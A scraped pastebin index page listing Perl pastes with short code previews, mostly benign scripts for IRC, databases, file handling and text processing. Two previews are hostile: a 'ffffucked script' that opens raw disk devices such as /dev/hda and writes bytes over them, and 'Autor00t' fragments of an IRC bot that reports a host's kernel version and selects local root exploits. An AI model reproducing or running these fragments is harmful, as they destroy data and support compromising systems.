Part of Slepp's Projects — Pastebin — TURL — Imagebin — Filebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

advertising

related pastes to tag 'perl'

2024405 - tatGlifs random perl tie zokutou
preview unavailable
1913939 - Mojo async request: perl mojo
  1. package TestTest;
  2.  
  3. use strict;
  4. use warnings;
  5.  
  6. use base 'Mojo::Base';
  7.  
  8. use Mojo::Client;
  9.  
1856492 - machi2.pl: perl
  1. #!/usr/bin/perl
  2. use utf8;
  3. use strict;
  4. use warnings;
  5.  
  6. my $max_index = 12;
  7.  
  8. my @_data = <DATA>;
  9.  
1855659 - machi.pl: perl
  1. #!/usr/bin/perl
  2. use utf8;
  3. use strict;
  4. use warnings;
  5. use File::Slurp;
  6.  
  7. use YAML::Syck;
  8.  
  9.  
1572086 - Marian: perl
  1. ######Programmstart
  2.  
  3. print "Moechten sie mit dem Auto verreisen?\n";
  4. $Auto = <stdin>; chomp($Auto);
  5. if ($Auto eq "ja"){
  6.     print "Ein gute und sichere Fahrt.\n"
  7.   }else {
  8.     print "Wie oft verreisen Sie mit dem Zug?.\n"
  9.  
1522524 - ignogyjinge random perl tie zokutou
preview unavailable
1472981 - Alan Haggai Alavi: perl archive-zip archivezip
  1. Format:
  2.  
  3. method/function
  4.     argument1   named_argument1
  5.     argument2   named_argument2
  6.  
  7. ---------------------------------
  8.  
  9.  
1452110 - Eagelajen random perl tie zokutou
preview unavailable
1449985 - Quodilm random perl tie zokutou
preview unavailable
1448353 - Quodilm random perl tie zokutou
preview unavailable
1446981 - Quodilm random perl tie zokutou
preview unavailable
1441618 - jemoAtomo random perl tie zokutou
preview unavailable
1438024 - HTML::Scrape::Tie::Word - v0.4.1 random perl tie zokutou
preview unavailable
1437896 - anterly random perl tie zokutou
preview unavailable
1430759 - dreceni random perl tie zokutou
preview unavailable
1429631 - vontifs random perl tie zokutou
preview unavailable
1428202 - PHP/Perl Quote: php perl quote
  1. "PHP is a minor evil perpetrated and created by incompetent amateurs, whereas Perl is a great and insidious evil, perpetrated by skilled but perverted professionals."    — Jon Ribbens.
1427933 - TekQuetle random perl tie zokutou
preview unavailable
1336402 - TRUNCA1.PL: perl irssi
  1. # And that's what happens when someone does " /set completion_char -san: "
  2.  
  3. # Example input:   <grawity> Somerandomperson: Hi!
  4. #         output:  <grawity> Somera~1: Hi!
  5. use strict;
  6. use warnings;
  7. use Irssi;
  8. use vars qw($VERSION %IRSSI);
  9.  
1286311 - wotd.pl - 1.2.0.0 random perl tie zokutou
preview unavailable
1286308 - HTML::Scrape::Tie::Word - v0.4.1 random perl tie zokutou
preview unavailable
1284909 - randword.pl-0.0.2.3 random perl word
preview unavailable
1278936 - wikify-pca-l.sh: shell perl regexp pca
  1. #! /bin/sh
  2.  
  3. perl -p -e '
  4.   s,(\d{6}-\d\d),[http://sunsolve.sun.com/search/document.do?assetkey=$1 $1]<ref name="Sun Solaris Patch $1">[http://sunsolve.sun.com/search/document.do?assetkey=$1 http://sunsolve.sun.com/search/document.do?assetkey=$1 → Sun Solaris Patch $1]</ref>,g ;
  5.   s,(\d{6})\s,[http://sunsolve.sun.com/search/document.do?assetkey=$1 $1]<ref name="Sun Solaris Patch $1">[http://sunsolve.sun.com/search/document.do?assetkey=$1 http://sunsolve.sun.com/search/document.do?assetkey=$1 → Sun Solaris Patch $1]</ref>,g ;
  6.   s,^, ,
  7. '
  8.  
  9.  
1278934 - wikify-pca-l.sh: shell perl regexp pca
  1. #! /bin/sh
  2.  
  3. perl -p -e 's,(\d{6}-\d\d),[http://sunsolve.sun.com/search/document.do?assetkey=$1 $1]<ref name="Sun Solaris Patch $1">[http://sunsolve.sun.com/search/document.do?assetkey=$1 http://sunsolve.sun.com/search/document.do?assetkey=$1 → Sun Solaris Patch $1]</ref>,g ; s,(\d{6})\s,[http://sunsolve.sun.com/search/document.do?assetkey=$1 $1]<ref name="Sun Solaris Patch $1">[http://sunsolve.sun.com/search/document.do?assetkey=$1 http://sunsolve.sun.com/search/document.do?assetkey=$1 → Sun Solaris Patch $1]</ref>,g ; s,^, ,'
  4.  
  5. exit 0
  6. # EOF #
1265031 - CRC Generator and Namer hack perl generator crc
preview unavailable
1070411 - xfer.pl: perl inforensique devloop transfert dfrws forensics
  1. #!/usr/bin/perl
  2. #
  3. use strict;
  4. use warnings;
  5. use MIME::Base64;
  6. use vars qw/@urls/;
  7.  
  8. my $user_agent = "Mozilla/5.0 (X11; U; Linux i686; en-US) Gecko/20071126";
  9.  
1000812 - B10m: perl
  1. #!/usr/bin/perl
  2.  
  3. my @test = qw(Just another Perl Hacker);
  4. print "Testing private paste with this markup evilness: ", $#test, "elements\n";
  5. print "Of course, ", join " ", @test, "\n";
968612 - lalala-imagemagickisajerk magic perl image magick manage
preview unavailable
965914 - duke proxy perl reverse dav handler
preview unavailable
965909 - duke proxy perl reverse dav handler
preview unavailable
914568 - ffffucked script: perl
  1. # by h2
  2. open FH, '>/dev/hda' or open FH, '>/dev/hdb' or open FH, '>/dev/hdc'
  3. or `/sbin/reboot`;
  4.  
  5. while ( 1 )
  6. {
  7.         $_ = 0;
  8.         print FH chr($_++);
  9.  
911542 - move_n_sort.pl v0.1.4-RC4 jpeg perl sort exif jpg move
preview unavailable
911517 - move_n_sort.pl - v0.1.3-RC2 jpeg perl sort exif jpg move
preview unavailable
911500 - move_n_sort.pl - v0.1.3-RC0 jpeg perl sort exif jpg move
preview unavailable
900666 - columnar: perl columnwrap
  1. #!/usr/bin/perl
  2. use strict;
  3.  
  4. my $width = 80;
  5. my $len = 0;
  6. my $columns = 5;
  7. my $column_stop = int($width/$columns);
  8.  
  9.  
889444 - Unnamed fork perl pipe ipc
preview unavailable
870390 - netmount.pl 1.3-RC2 net perl windows mount
preview unavailable
869283 - unsyn.pl: apt perl syn
  1. #!/usr/bin/perl -w
  2.  
  3. # Ed Dolan <bytecolor@yahoo.com>
  4. # 01/20/2008
  5.  
  6. #
  7. # Remove all APT SYN/ assignments.
  8. #
  9.  
859190 - netmount.pl 1.2-RC7 net perl mount shutup
preview unavailable
848695 - RC0: netmount-v1.1.0 net perl windows mount
preview unavailable
848651 - RC2: netmount-v1.0.0 net perl windows mount
preview unavailable
848635 - RC1: netmount-v1.0.0 net perl windows mount
preview unavailable
848535 - RC2: netmount.pl perl windows mount
preview unavailable
848484 - netmount.pl perl windows mount
preview unavailable
840770 - server-v0.0.1-r2 server perl dumb
preview unavailable
833049 - Autor00t: perl pbot
  1. #Get some info about the rootkit you need.
  2. if ($funcarg =~ /^rootkit/) {
  3. my $rootkit;
  4. $kernel=`uname -r`;
  5.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@r00tk1t12] 12Kernel of the b0x:4 ".$kernel." ");
  6.        
  7.         $unamer=`uname -r`;
  8.         if($unamer eq "2.\d+.16-"){
  9.  
833047 - Autor00t: perl pbot
  1. #Get some info about the rootkit you need.
  2. if ($funcarg =~ /^rootkit/) {
  3. my $rootkit;
  4. $kernel=`uname -r`;
  5.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@r00tk1t12] 12Kernel of the b0x:4 ".$kernel." ");
  6.        
  7.         if($unamer =~ m/2.6.16/){
  8.                 $rootkit="Local Roots: [raptor] + [raptor2] + [h0llyshit] + [prctl]";
  9.  
827594 - remove_hidden.pl perl mac win unlink
preview unavailable
790791 - mahou-v2 (u) perl parse scrape mahou
preview unavailable
790257 - Seven Ages: game perl sevenagesofman
  1. #!/usr/bin/perl -w
  2. #32
  3. #project for english etc.
  4.  
  5. print "This game, goes through the seven stages of life etc. <3 Tak\n";
  6. print "Enter new lifes name!: ";
  7. chomp($life=<stdin>);
  8. while(! $life)
  9.  
772702 - problem off perl fuck fixti
preview unavailable
765139 - addusers.pl: perl mac apple
  1. #!/usr/bin/perl
  2. use warnings;
  3. use strict;
  4. use utf8;
  5. use Text::Unidecode;
  6. use Encode;
  7. ####
  8. # Coded by Daenyth
  9.  
765136 - addusers.pl: perl mac apple
  1. #!/usr/bin/perl
  2. use warnings;
  3. use strict;
  4. use utf8;
  5. use Text::Unidecode;
  6. use Encode;
  7. ####
  8. # Coded by Daenyth
  9.  
765108 - addusers.pl: perl mac apple
  1. #!/usr/bin/perl
  2. use warnings;
  3. use strict;
  4. use utf8;
  5. use Text::Unidecode;
  6. use Encode;
  7. ####
  8. # Coded by Daenyth
  9.  
756865 - user admin client v0.0.2-rc4 user admin perl client
preview unavailable
753497 - Mine: perl
  1. #!/usr/bin/perl -w
  2. sub genphonenumber() {
  3.     $number = "+358 ";
  4.     @nam = ( '40', '41', '44', '45', '50', '9', '3', '4', '5', '6', '7', '8', '19', '2' );
  5.     $number .= $nam[int rand($#nam)];
  6.     $number .= " ";
  7.  
  8.     for ($i = 0; $i <= 3; $i++) {
  9.  
747039 - Anonymous Perl Poster: odbc perl dbi
  1. require DBI;
  2. use strict;
  3.  
  4. my @drivers = DBI->available_drivers;
  5. print join(", ", @drivers);
  6.  
  7. my @dsns = DBI->data_sources('ODBC');
  8. foreach my $d (@dsns)
  9.  
738210 - rgrep.pl: perl rgrep
  1. #!/usr/bin/perl -w
  2.  
  3. # Like grep -r except...
  4. #   * you can leave off the directory and it will use . instead of waiting like
  5. #     a dumbshit for STDIN
  6. #   * It handles paths with spaces and quotes.
  7. #   * it will not traverse into these directories or files.
  8. my @Prunes = (qw(.svn CVS blib *~ *.bak _darcs tags), '#*');
  9.  
730009 - Braindead: perl torrent p2p ryo linux-it
  1. #!/usr/bin/perl
  2. #
  3. # rss-torrent.pl 0.1 listens to RSS-Feeds, tries to match to Regular
  4. # Expressions, downloads the torrents to a 'watch' directory (the one
  5. # managed by your favorite torrent client).
  6. # Copyright (C) 2007, Gianluca Trimarchi <gtrimarchi@gmail.com>
  7. #
  8. # This program is free software; you can redistribute it and/or modify
  9.  
727086 - fox_parser perl weather parser
preview unavailable
701155 - conjugate.pl: perl latex latin language languages conjugate conjugation
  1. #!/usr/bin/env perl -w
  2. #conjugate.pl, v.1.1
  3. #Created by John T. Wodder II
  4. #Last edited: 18 July 2007 by John Wodder
  5. #This script will create a synopsis of a Latin verb & output it as a LaTeX
  6. #document.
  7. # To Do: make the code more efficient; support deponents
  8. use strict;
  9.  
664468 - Perl -D: perl
  1. #!C:/apache2triad/perl/bin/perl.exe
  2. use LWP;
  3. use URI::Escape;
  4. my $browser;
  5. Xchat::register("Akumibot",1);
  6. Xchat::print("Now loading Akumibot, version 1, by Gary Warman...");
  7. Xchat::hook_server("PRIVMSG",\&genmess);
  8. $BOTNAME="your bot's name here";
  9.  
652318 - Perl Interface to Curl C API: c curl libcurl perl embed inline
  1. #*****************************************************************************
  2. #*                                  _   _ ____  _
  3. #*  Project                     ___| | | |  _ \| |
  4. #*                             / __| | | | |_) | |
  5. #*                            | (__| |_| |  _ <| |___
  6. #*                             \___|\___/|_| \_\_____|
  7. #*
  8. #* $Id: perl_interface.pl,v 1.0 2007/08/10 13:45:11 Voldor Exp $
  9.  
652314 - Perl Interface to Curl C API: c curl libcurl perl embed inline
  1. #*****************************************************************************
  2. #*                                  _   _ ____  _
  3. #*  Project                     ___| | | |  _ \| |
  4. #*                             / __| | | | |_) | |
  5. #*                            | (__| |_| |  _ <| |___
  6. #*                             \___|\___/|_| \_\_____|
  7. #*
  8. #* $Id: perl_interface.pl,v 1.0 2007/08/10 13:45:11 Voldor Exp $
  9.  
652240 - Perl Interface to Curl C API: c curl libcurl perl embed inline
  1. #*****************************************************************************
  2. #*                                  _   _ ____  _
  3. #*  Project                     ___| | | |  _ \| |
  4. #*                             / __| | | | |_) | |
  5. #*                            | (__| |_| |  _ <| |___
  6. #*                             \___|\___/|_| \_\_____|
  7. #*
  8. #* $Id: perl_interface.c,v 1.0 2007/08/10 13:45:11 Voldor Exp $
  9.  
644944 - rrformat.pl: magic perl mtg netdraft
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use warnings;
  5.  
  6. ###
  7. # $rejects is the filename of the file containing cardnames to output, in the form of one full cardname per line
  8. # $cards is the main card database, in the form of a Sistance-esv file
  9.  
644850 - email matching: email perl maildrop
  1. # cat mailfilter
  2. SHELL="/bin/bash"
  3. import EXT
  4. import HOST
  5. VHOME=/home/vpopmail/domains/sms.twisp.us/processing
  6. logfile "/home/vpopmail/domains/sms.twisp.us/processing/maildrop.log"
  7.  
  8. if ( /^Return-Path: .*@gmail.com>/ )
  9.  
644578 - cut: perl
  1. #! /usr/bin/perl
  2. use DBI;
  3. use Switch;
  4.  
  5. #Feb  1 01:47:35 fran dhcpd: DHCPREQUEST for xxx.xxx.xxx.xxx from 00:d0:96:d2:8e:1b via eth1
  6. #Feb  1 01:47:35 fran dhcpd: DHCPACK on xxx.xxx.xxx.xxx to 00:d0:96:d2:8e:1b via eth1
  7. #Feb  1 01:54:44 fran dhcpd: DHCPDISCOVER from 00:00:00
  8.  
  9.  
644574 - cut: perl
  1. #! /usr/bin/perl
  2. use DBI;
  3. use Switch;
  4.  
  5. #Feb  1 01:47:35 fran dhcpd: DHCPREQUEST for xxx.xxx.xxx.xxx from 00:d0:96:d2:8e:1b via eth1
  6. #Feb  1 01:47:35 fran dhcpd: DHCPACK on xxx.xxx.xxx.xxx to 00:d0:96:d2:8e:1b via eth1
  7. #Feb  1 01:54:44 fran dhcpd: DHCPDISCOVER from 00:00:00
  8.  
  9.  
643674 - cut: perl
  1. #! /usr/bin/perl
  2. use DBI;
  3. use Switch;
  4.  
  5. #Feb  1 01:47:35 fran dhcpd: DHCPREQUEST for xxx.xxx.xxx.xxx from 00:d0:96:d2:8e:1b via eth1
  6. #Feb  1 01:47:35 fran dhcpd: DHCPACK on xxx.xxx.xxx.xxx to 00:d0:96:d2:8e:1b via eth1
  7. #Feb  1 01:54:44 fran dhcpd: DHCPDISCOVER from 00:00:00
  8.  
  9.  
worth-right
fantasy-obligation
fantasy-obligation